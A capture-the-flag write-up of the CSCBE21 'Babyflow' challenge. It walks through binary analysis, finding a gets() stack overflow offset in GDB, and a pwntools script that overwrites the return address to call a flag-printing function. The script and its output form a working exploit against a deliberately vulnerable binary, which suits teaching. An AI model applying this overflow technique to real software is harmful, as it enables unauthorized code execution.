Post

CSCBE21: Babyflow (pwn)

Introduction

This pwn challenge was part of the qualifiers for CSCBE21. In this writeup I will explain in a beginner friendly way how we can exploit a buffer overflow in order to control the instruction pointer.

Analysis

We are provided with a binary:

1
2
3
4
5
6
7
8
9
10
11
12
┌─[crystal@crystal-virtualbox]─[~/Downloads/CTF-CSCBE/pwn/BOF]
└──╼ $file babyflow
babyflow: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d61066b7c0655ca41f05c8507b7a61575de7dd93, for GNU/Linux 3.2.0, not stripped

┌─[crystal@crystal-virtualbox]─[~/Downloads/CTF-CSCBE/pwn/BOF]
└──╼ $checksec --file=babyflow
[*] '/home/crystal/Downloads/CTF-CSCBE/pwn/BOF/babyflow'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

We can see it’s a 64 bit executable which is not stripped. Additionally, checksec shows no stack canary is present and PIE is disabled. NX has been enabled, and RELRO is partially present.

1
2
3
4
5
6
7
┌─[crystal@crystal-virtualbox]─[~/Downloads/CTF-CSCBE/pwn/BOF]
└──╼ $./babyflow 
I made this binary so that the flag can never be obtained!
However, you can take a guess if you want!
Enter your guess and hope for the best...
flag123
Better luck next time!

Running the binary shows us that we can take a guess at identifying the flag. When given the input flag123, the binary outputs `Better luck next time!’, indicating that the guess was wrong.

main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
undefined8 main(void)

{
  int iVar1;
  undefined8 uVar2;
  char local_58 [32];
  char local_38 [32];
  int local_18;
  char local_11;
  FILE *local_10;
  
  setvbuf(stdout,(char *)0x0,2,0);
  local_10 = fopen("comparison.txt","r");
  if (local_10 == (FILE *)0x0) {
    uVar2 = 1;
  }
  else {
    do {
      iVar1 = fgetc(local_10);
      local_11 = (char)iVar1;
    } while (local_11 != -1);
    fclose(local_10);
    red();
    puts("I made this binary so that the flag can never be obtained!");
    puts("However, you can take a guess if you want!");
    puts("Enter your guess and hope for the best...");
    gets(local_58);
    local_18 = strcmp(local_38,local_58);
    if (local_18 == 0) {
      white();
      puts("Impressive guess! Not good enough tho...");
    }
    else {
      puts("Better luck next time!");
    }
    uVar2 = 0;
  }
  return uVar2;
}

Looking at the decompiled code in Ghidra, we can see that the main function is pretty small. First, it reads defines a couple variables. Next, the binary reads a file called comparison.txt. Then, the UNSAFE gets() function is called, which will handle the user input. The strcmp() will compare the user input, to the input of the read file (comparison.txt). If the comparison equals 0 (equal value), the binary will print Impressive guess! Not good enough tho..., else it will print Better luck next time!.

winner()

1
2
3
4
5
6
void winner(void)

{
  system("cat flag.txt");
  return;
}

There is also another function, called winner(). This function simply calls system() from libc, which will then print the flag.txt. However, this winner() function is never called.

Explanation

As mentioned earlier, the gets() function is unsafe since it doesn’t check how large the user input may be. This can lead to a buffer overflow.

Since NX is enabled, we can not insert our own shellcode onto the stack, but luckily this is not needed. The function winner() is present which will print the flag. Therefore we need to get control of RIP (instruction pointer) and point it to winner().

Exploit

1
2
3
  char local_58 [32];
  ...
  gets(local_58);

The variable where the user input will be stored in, can contain 32 bytes. With this info, we can calculate what the offset will be between our input, and the return address.

GDB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
  pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000401202 <+0>:	push   rbp
   0x0000000000401203 <+1>:	mov    rbp,rsp
   0x0000000000401206 <+4>:	sub    rsp,0x50
   0x000000000040120a <+8>:	mov    rax,QWORD PTR [rip+0x2e5f]        # 0x404070 <stdout@GLIBC_2.2.5>
   0x0000000000401211 <+15>:	mov    ecx,0x0
   0x0000000000401216 <+20>:	mov    edx,0x2
   0x000000000040121b <+25>:	mov    esi,0x0
   0x0000000000401220 <+30>:	mov    rdi,rax
   0x0000000000401223 <+33>:	call   0x4010a0 <setvbuf@plt>
   0x0000000000401228 <+38>:	lea    rsi,[rip+0xdfb]        # 0x40202a
   0x000000000040122f <+45>:	lea    rdi,[rip+0xdf6]        # 0x40202c
   0x0000000000401236 <+52>:	call   0x4010b0 <fopen@plt>
   0x000000000040123b <+57>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040123f <+61>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000401244 <+66>:	jne    0x401250 <main+78>
   0x0000000000401246 <+68>:	mov    eax,0x1
   0x000000000040124b <+73>:	jmp    0x4012f8 <main+246>
   0x0000000000401250 <+78>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401254 <+82>:	mov    rdi,rax
   0x0000000000401257 <+85>:	call   0x401070 <fgetc@plt>
   0x000000000040125c <+90>:	mov    BYTE PTR [rbp-0x9],al
   0x000000000040125f <+93>:	cmp    BYTE PTR [rbp-0x9],0xff
   0x0000000000401263 <+97>:	je     0x401267 <main+101>
   0x0000000000401265 <+99>:	jmp    0x401250 <main+78>
   0x0000000000401267 <+101>:	nop
   0x0000000000401268 <+102>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040126c <+106>:	mov    rdi,rax
   0x000000000040126f <+109>:	call   0x401040 <fclose@plt>
   0x0000000000401274 <+114>:	mov    eax,0x0
   0x0000000000401279 <+119>:	call   0x4011ba <red>
   0x000000000040127e <+124>:	lea    rdi,[rip+0xdbb]        # 0x402040
   0x0000000000401285 <+131>:	call   0x401030 <puts@plt>
   0x000000000040128a <+136>:	lea    rdi,[rip+0xdef]        # 0x402080
   0x0000000000401291 <+143>:	call   0x401030 <puts@plt>
   0x0000000000401296 <+148>:	lea    rdi,[rip+0xe13]        # 0x4020b0
   0x000000000040129d <+155>:	call   0x401030 <puts@plt>
   0x00000000004012a2 <+160>:	lea    rax,[rbp-0x50]
   0x00000000004012a6 <+164>:	mov    rdi,rax
   0x00000000004012a9 <+167>:	mov    eax,0x0
   0x00000000004012ae <+172>:	call   0x401090 <gets@plt>
   0x00000000004012b3 <+177>:	lea    rdx,[rbp-0x50]
   0x00000000004012b7 <+181>:	lea    rax,[rbp-0x30]
   0x00000000004012bb <+185>:	mov    rsi,rdx
   0x00000000004012be <+188>:	mov    rdi,rax
   0x00000000004012c1 <+191>:	call   0x401080 <strcmp@plt>
   0x00000000004012c6 <+196>:	mov    DWORD PTR [rbp-0x10],eax
   0x00000000004012c9 <+199>:	cmp    DWORD PTR [rbp-0x10],0x0
   0x00000000004012cd <+203>:	jne    0x4012e7 <main+229>
   0x00000000004012cf <+205>:	mov    eax,0x0
   0x00000000004012d4 <+210>:	call   0x4011d2 <white>
   0x00000000004012d9 <+215>:	lea    rdi,[rip+0xe00]        # 0x4020e0
   0x00000000004012e0 <+222>:	call   0x401030 <puts@plt>
   0x00000000004012e5 <+227>:	jmp    0x4012f3 <main+241>
   0x00000000004012e7 <+229>:	lea    rdi,[rip+0xe1b]        # 0x402109
   0x00000000004012ee <+236>:	call   0x401030 <puts@plt>
   0x00000000004012f3 <+241>:	mov    eax,0x0
   0x00000000004012f8 <+246>:	leave  
   0x00000000004012f9 <+247>:	ret    
1
2
3
4
5
6
7
8
pwndbg> b *0x00000000004012b3
Breakpoint 1 at 0x4012b3
pwndbg> r
Starting program: /home/crystal/Downloads/CTF-CSCBE/pwn/BOF/babyflow 
I made this binary so that the flag can never be obtained!
However, you can take a guess if you want!
Enter your guess and hope for the best...
abc123

We set a breakpoint right after gets (our input), followed by entering a string.

1
2
3
4
5
6
7
8
9
10
11
pwndbg> i f
Stack level 0, frame at 0x7fffffffdf10:
 rip = 0x4012b3 in main; saved rip = 0x7ffff7e0cd0a
 called by frame at 0x7fffffffdfe0
 Arglist at 0x7fffffffdf00, args: 
 Locals at 0x7fffffffdf00, Previous frame's sp is 0x7fffffffdf10
 Saved registers:
  rbp at 0x7fffffffdf00, rip at 0x7fffffffdf08
pwndbg> search --string abc123
[heap]          0x405480 'abc123\ngnhvpkqmagwt'
[stack]         0x7fffffffdeb0 0x333231636261 /* 'abc123' */

We can see that RIP (ret address) is set to 0x7fffffffdf08, while as our entered string is located at 0x7fffffffdeb0.

Substracting our string address from RIP gives us the buffer size. 0x7fffffffdf08 - 0x7fffffffdeb0 = 0x58 (or 88 in decimal).

Next, we determine our winner function (which prints the flag):

1
2
pwndbg> p winner
$1 = {<text variable, no debug info>} 0x4011a2 <winner>

Now we can fill our buffer with 0x58 bytes which leads to us having control over RIP. Therefore we can set RIP to the winner function.

However, there is one issue when we try to execute this: the MOVAPS issue. This is caused on Ubuntu systems when operating with an unaligned stack. We can fix this by adding a ret instruction before our winner address. This causes the stack to be aligned.

See ROP Emporium for more information about MOVAPS.

Ret instructions can be found using a variety of tools, such as ROPgadget.

1
2
3
4
5
6
7
8
9
from pwn import * 
target = process("./babyflow") # local
#target = remote('ip', port) # remote
context.log_level = 'debug' # enable debug mode (more verbosity)
payload = 0x58 * b'A' # (fill buffer)
payload += p64(0x401192)  # ret instruction to align  the stack
payload += p64(0x4011a2) # winner address
target.sendline(payload) # send full payload
target.interactive()
1
2
3
4
5
6
7
8
9
10
11
┌─[crystal@crystal-virtualbox]─[~/Downloads/CTF-CSCBE/pwn/BOF]
└──╼ $ python3 exploit.py
I made this binary so that the flag can never be obtained!
However, you can take a guess if you want!
Enter your guess and hope for the best...
Better luck next time!
[*] Process './babyflow' stopped with exit code -11 (SIGSEGV) (pid 3315)
[DEBUG] Received 0x1a bytes:
    b'CSCBE{y0u_fl3w_t0_v1ct0rY?!}'
CSC{y0u_fl3w_t0_v1ct0rY?!}[*] Got EOF while reading in interactive
$  

Flag: CSC{y0u_fl3w_t0_v1ct0rY?!}

This post is licensed under CC BY 4.0 by the author.